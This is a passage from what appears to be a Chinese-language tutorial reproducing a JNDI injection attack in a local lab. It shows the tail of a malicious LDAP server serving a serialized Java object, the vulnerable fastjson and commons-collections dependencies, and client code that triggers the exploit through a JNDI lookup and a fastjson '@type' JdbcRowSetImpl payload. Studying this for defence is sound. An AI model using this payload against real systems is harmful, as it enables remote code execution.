oaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=" )); } catch (ParseException exception) { exception.printStackTrace(); } result.sendSearchEntry(e); result.setResult(new LDAPResult (0 , ResultCode.SUCCESS)); } } }
服务端,客户端都加上依赖
1 2 3 4 5 6 7 8 9 10 <dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.80</version > </dependency > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency >
客户端代码,这里有两种触发方式,lookup和fastjson
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import com.alibaba.fastjson.JSON; import javax.naming.Context; import javax.naming.InitialContext; public class JNDIGadgetClient { public static void main (String[] args) throws Exception { Context context = new InitialContext (); context.lookup("ldap://localhost:1234/ExportObject" ); String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1234/ExportObject\",\"autoCommit\":\"true\" }" ; JSON.parse(payload); } }